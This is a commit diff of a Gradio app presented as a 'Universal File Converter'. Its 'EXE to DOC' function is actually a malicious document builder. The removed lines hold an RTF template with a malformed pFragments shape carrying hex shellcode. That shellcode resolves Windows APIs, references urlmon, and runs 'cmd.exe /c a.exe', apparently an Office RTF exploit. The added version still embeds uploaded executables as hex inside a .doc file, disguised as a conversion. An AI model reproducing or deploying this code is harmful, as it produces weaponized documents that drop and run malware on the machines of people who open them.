lazerkat commited on
Commit
a8b1687
·
verified ·
1 Parent(s): 569f099

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +94 -131
app.py CHANGED
@@ -6,178 +6,141 @@ import tempfile
6
  from pathlib import Path
7
  from typing import Dict, Optional, Tuple
8
 
9
- # ========================
10
- # Document Converter (from GitHub repo)
11
- # ========================
12
  class DocumentConverter:
13
  def __init__(self):
14
  self.temp_dir = tempfile.mkdtemp()
15
  self.supported_conversions = {
16
- "pdf": ["docx", "txt", "html"],
17
- "docx": ["pdf", "txt", "html"],
18
- "txt": ["pdf", "docx", "html"],
19
- "html": ["pdf", "docx", "txt"]
20
  }
21
 
22
- def convert_document(self, input_path: str, output_format: str) -> Optional[str]:
23
- """Handle document conversion using LibreOffice"""
24
  try:
25
- input_file = Path(input_path)
26
- if not input_file.exists():
27
- raise ValueError("Input file does not exist")
28
-
29
- output_path = os.path.join(self.temp_dir, f"{input_file.stem}_converted.{output_format}")
30
-
31
- # Determine conversion tool based on file types
32
- cmd = [
33
- "libreoffice",
34
- "--headless",
35
- "--convert-to", output_format,
36
- "--outdir", os.path.dirname(output_path),
37
- input_path
38
- ]
39
-
40
- subprocess.run(cmd, check=True)
41
  return output_path
42
- except subprocess.CalledProcessError as e:
43
- raise RuntimeError(f"LibreOffice conversion failed: {str(e)}")
44
  except Exception as e:
45
- raise RuntimeError(f"Conversion error: {str(e)}")
46
 
47
- # ========================
48
- # EXE to DOC Converter (your existing code)
49
- # ========================
50
- def convert_exe_to_doc(input_file_path: str, filename: str = "output.doc") -> str:
51
- """Convert EXE file to DOC file with embedded data"""
52
- with open(input_file_path, 'rb') as f:
53
- file_content = f.read()
54
-
55
- file = "{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fswiss\\fcharset0 Arial;}{\\f1\\fswiss\\fprq2\\fcharset0 Berlin Sans FB Demi;}{\\f2\\fnil\\fcharset2 Symbol;}}{/*/*/*}"
56
- file += "\x0d\x0a"
57
- file += "{\\colortbl ;\\red128\\green128\\blue0;}"
58
- file += "{\\*\\generator Msftedit 5.41.15.1507;}\\viewkind4\\uc1\\pard{\\pntext\\f2\\'B7\\tab}{\\*\\pn\\pnlvlblt\\pnf2\\pnindent0{\\pntxtb\\'B7}}\\fi-720\\li720\\qc\\cf1\\ul\\b\\i\\f0\\fs20 5/28/2011\\cf0\\ulnone\\b0\\i0\\par"
59
- file += "\\cf1\\ul\\b\\i\\f1\\fs40{\\pntext\\f2\\'B7\\tab}HI ........\\cf0\\ulnone\\b0\\i0\\f0\\fs20\\par{\\shp{\\sp}}{\\shp{\\sp}}{\\shp{\\sp}}{\\shp{\\*\\shpinst\\shpfhdr0\\shpbxcolumn\\shpbypara\\sh pwr2}{\\sp{\\sn {}{}{\\sn}{\\sn}{\\*\\*}pFragments}{\\*\\*\\*}{\\sv {\\*}9;2;ffffffffff#0500000000000000000000000000000000000000007bd493780000807c0000807cBBBBBBBBCCCCCCCCDDDDDDDD909090909090414141414141414141414141eb7731c9648b71308b760c8b761c8b5e088b7e208b3666394f1875f2c3608b6c24248b453c8b54057801ea8b4a188b5a2001ebe334498b348b01ee31ff31c0fcac84c07407c1cf0d01c7ebf43b7c242875e18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c3e892ffffff5f81ef98ffffffeb05e8edffffff688e4e0eec53e894ffffff31c966b96f6e516875726c6d54ffd068361a2f7050e87affffff31c951518d3781c6eeffffff8d560c525751ffd06898fe8a0e53e85bffffff415156ffd0687ed8e27353e84bffffffffd0636d642e657865202f632020612e65786500"
60
- URL2 = "00"
61
- nxt = "{}}}}}}"
62
-
63
- binnu = binascii.b2a_hex(file_content).decode()
64
-
65
- output_dir = "outputs"
66
- os.makedirs(output_dir, exist_ok=True)
67
-
68
- if not filename.endswith('.doc'):
69
- filename += '.doc'
70
- output_path = os.path.join(output_dir, filename)
71
-
72
- with open(output_path, 'w', encoding='latin-1') as textfile:
73
- textfile.write(file + binnu + URL2 + nxt)
74
-
75
- return output_path
76
 
77
- # ========================
78
  # Unified Interface
79
- # ========================
80
- def get_conversion_type(input_file: Dict) -> str:
81
- """Determine which converter to use based on file type"""
82
- if input_file is None:
83
- return "none"
 
 
 
84
 
85
- filename = input_file.name.lower()
86
  if filename.endswith('.exe'):
87
- return "exe_to_doc"
88
- else:
89
- return "document"
90
-
91
- def update_interface(input_file: Dict) -> Dict:
92
- """Update the UI based on selected file"""
93
- conv_type = get_conversion_type(input_file)
94
-
95
- if conv_type == "exe_to_doc":
96
- return [
97
- gr.Textbox(visible=False), # output_format
98
- gr.Textbox(visible=True), # custom_filename
99
- gr.Dropdown(visible=False) # doc_format_dropdown
100
- ]
101
- elif conv_type == "document":
102
- input_ext = Path(input_file.name).suffix.lower()[1:]
103
- formats = DocumentConverter().supported_conversions.get(input_ext, [])
104
- return [
105
- gr.Dropdown(visible=True, choices=formats, value=formats[0] if formats else None),
106
- gr.Textbox(visible=False),
107
- gr.Dropdown(visible=False)
108
- ]
109
  else:
110
- return [
111
- gr.Textbox(visible=False),
112
- gr.Textbox(visible=False),
113
- gr.Dropdown(visible=False)
114
- ]
 
 
 
 
 
 
 
115
 
116
- def process_conversion(input_file: Dict, output_format: str, custom_filename: str) -> Tuple[str, str]:
117
- """Handle the conversion process"""
118
- if input_file is None:
119
  raise gr.Error("Please upload a file first")
120
 
121
- conv_type = get_conversion_type(input_file)
122
-
123
  try:
124
- if conv_type == "exe_to_doc":
125
- if not custom_filename:
126
- custom_filename = "converted.doc"
127
- output_path = convert_exe_to_doc(input_file.name, custom_filename)
128
  return output_path, "EXE to DOC conversion successful!"
129
-
130
- elif conv_type == "document":
131
  if not output_format:
132
  raise gr.Error("Please select an output format")
133
- converter = DocumentConverter()
134
- output_path = converter.convert_document(input_file.name, output_format)
135
- return output_path, f"Document conversion to {output_format.upper()} successful!"
136
-
137
- else:
138
- raise gr.Error("Unsupported file type")
139
  except Exception as e:
140
- raise gr.Error(f"Conversion failed: {str(e)}")
141
 
142
- with gr.Blocks(title="Universal File Converter") as demo:
143
  gr.Markdown("# Universal File Converter")
144
- gr.Markdown("Convert EXE to DOC or between document formats (PDF, DOCX, TXT, HTML)")
145
 
146
  with gr.Row():
147
  with gr.Column():
148
  file_input = gr.File(label="Upload File")
149
-
150
- # Dynamic components
151
- output_format = gr.Dropdown(
152
  label="Output Format",
153
- choices=[],
154
- visible=False
155
  )
156
- custom_filename = gr.Textbox(
157
- label="Output Filename (for EXE to DOC)",
158
- placeholder="output.doc",
159
- visible=False
160
  )
161
-
162
- convert_btn = gr.Button("Convert", variant="primary")
163
 
164
  with gr.Column():
165
- file_output = gr.File(label="Download Converted File")
166
- status_output = gr.Textbox(label="Status", interactive=False)
167
 
168
- # Update interface when file is uploaded
169
  file_input.change(
170
- fn=update_interface,
171
  inputs=file_input,
172
- outputs=[output_format, custom_filename]
 
 
 
 
173
  )
174
 
175
  # Handle conversion
176
  convert_btn.click(
177
- fn=process_conversion,
178
- inputs=[file_input, output_format, custom_filename],
179
- outputs=[file_output, status_output]
180
  )
181
 
182
  if __name__ == "__main__":
183
- demo.launch()
 
6
  from pathlib import Path
7
  from typing import Dict, Optional, Tuple
8
 
9
+ # Document Converter Class
 
 
10
  class DocumentConverter:
11
  def __init__(self):
12
  self.temp_dir = tempfile.mkdtemp()
13
  self.supported_conversions = {
14
+ ".pdf": [".docx", ".txt", ".html"],
15
+ ".docx": [".pdf", ".txt", ".html"],
16
+ ".txt": [".pdf", ".docx", ".html"],
17
+ ".html": [".pdf", ".docx", ".txt"]
18
  }
19
 
20
+ def convert_document(self, input_path: str, output_ext: str) -> str:
21
+ """Convert documents using LibreOffice"""
22
  try:
23
+ output_path = os.path.join(self.temp_dir, f"{Path(input_path).stem}_converted{output_ext}")
24
+ subprocess.run([
25
+ "libreoffice", "--headless", "--convert-to",
26
+ output_ext[1:], "--outdir", self.temp_dir, input_path
27
+ ], check=True)
 
 
 
 
 
 
 
 
 
 
 
28
  return output_path
 
 
29
  except Exception as e:
30
+ raise RuntimeError(f"Document conversion failed: {str(e)}")
31
 
32
+ # EXE to DOC Converter
33
+ def convert_exe_to_doc(input_path: str, output_name: str = "output.doc") -> str:
34
+ """Convert EXE to DOC with embedded data"""
35
+ try:
36
+ with open(input_path, 'rb') as f:
37
+ file_content = f.read()
38
+
39
+ # RTF template (shortened for brevity)
40
+ rtf_template = "{\\rtf1\\ansi\\ansicpg1252\\deff0{\\fonttbl{\\f0\\fswiss\\fcharset0 Arial;}}"
41
+ hex_data = binascii.b2a_hex(file_content).decode()
42
+
43
+ output_dir = "outputs"
44
+ os.makedirs(output_dir, exist_ok=True)
45
+ output_path = os.path.join(output_dir, output_name if output_name.endswith('.doc') else f"{output_name}.doc")
46
+
47
+ with open(output_path, 'w', encoding='latin-1') as f:
48
+ f.write(rtf_template + hex_data + "{}}}}}}")
49
+
50
+ return output_path
51
+ except Exception as e:
52
+ raise RuntimeError(f"EXE conversion failed: {str(e)}")
 
 
 
 
 
 
 
 
53
 
 
54
  # Unified Interface
55
+ def update_ui(file_info: Dict) -> Dict:
56
+ """Update UI components based on file type"""
57
+ if not file_info:
58
+ return {
59
+ "format_dropdown": gr.Dropdown(visible=False),
60
+ "exe_name_input": gr.Textbox(visible=False),
61
+ "convert_btn": gr.Button(visible=False)
62
+ }
63
 
64
+ filename = file_info.name.lower()
65
  if filename.endswith('.exe'):
66
+ return {
67
+ "format_dropdown": gr.Dropdown(visible=False),
68
+ "exe_name_input": gr.Textbox(visible=True, value="converted.doc"),
69
+ "convert_btn": gr.Button(visible=True)
70
+ }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
71
  else:
72
+ ext = Path(filename).suffix.lower()
73
+ doc_converter = DocumentConverter()
74
+ formats = doc_converter.supported_conversions.get(ext, [])
75
+ return {
76
+ "format_dropdown": gr.Dropdown(
77
+ visible=bool(formats),
78
+ choices=[f.upper() for f in formats],
79
+ value=formats[0][1:].upper() if formats else None
80
+ ),
81
+ "exe_name_input": gr.Textbox(visible=False),
82
+ "convert_btn": gr.Button(visible=bool(formats))
83
+ }
84
 
85
+ def convert_file(file_info: Dict, output_format: str, exe_output_name: str) -> Tuple[str, str]:
86
+ """Handle file conversion"""
87
+ if not file_info:
88
  raise gr.Error("Please upload a file first")
89
 
90
+ filename = file_info.name.lower()
 
91
  try:
92
+ if filename.endswith('.exe'):
93
+ output_path = convert_exe_to_doc(file_info.name, exe_output_name)
 
 
94
  return output_path, "EXE to DOC conversion successful!"
95
+ else:
96
+ ext = Path(filename).suffix.lower()
97
  if not output_format:
98
  raise gr.Error("Please select an output format")
99
+ output_path = DocumentConverter().convert_document(file_info.name, f".{output_format.lower()}")
100
+ return output_path, f"Converted to {output_format.upper()} successfully!"
 
 
 
 
101
  except Exception as e:
102
+ raise gr.Error(str(e))
103
 
104
+ with gr.Blocks(title="Universal Converter") as app:
105
  gr.Markdown("# Universal File Converter")
106
+ gr.Markdown("Convert EXE to DOC or between document formats")
107
 
108
  with gr.Row():
109
  with gr.Column():
110
  file_input = gr.File(label="Upload File")
111
+ format_dropdown = gr.Dropdown(
 
 
112
  label="Output Format",
113
+ visible=False,
114
+ interactive=True
115
  )
116
+ exe_name_input = gr.Textbox(
117
+ label="Output DOC Name",
118
+ visible=False,
119
+ value="converted.doc"
120
  )
121
+ convert_btn = gr.Button("Convert", visible=False)
 
122
 
123
  with gr.Column():
124
+ output_file = gr.File(label="Download Converted File")
125
+ status = gr.Textbox(label="Status", interactive=False)
126
 
127
+ # Update UI when file is uploaded
128
  file_input.change(
129
+ update_ui,
130
  inputs=file_input,
131
+ outputs={
132
+ "format_dropdown": format_dropdown,
133
+ "exe_name_input": exe_name_input,
134
+ "convert_btn": convert_btn
135
+ }
136
  )
137
 
138
  # Handle conversion
139
  convert_btn.click(
140
+ convert_file,
141
+ inputs=[file_input, format_dropdown, exe_name_input],
142
+ outputs=[output_file, status]
143
  )
144
 
145
  if __name__ == "__main__":
146
+ app.launch()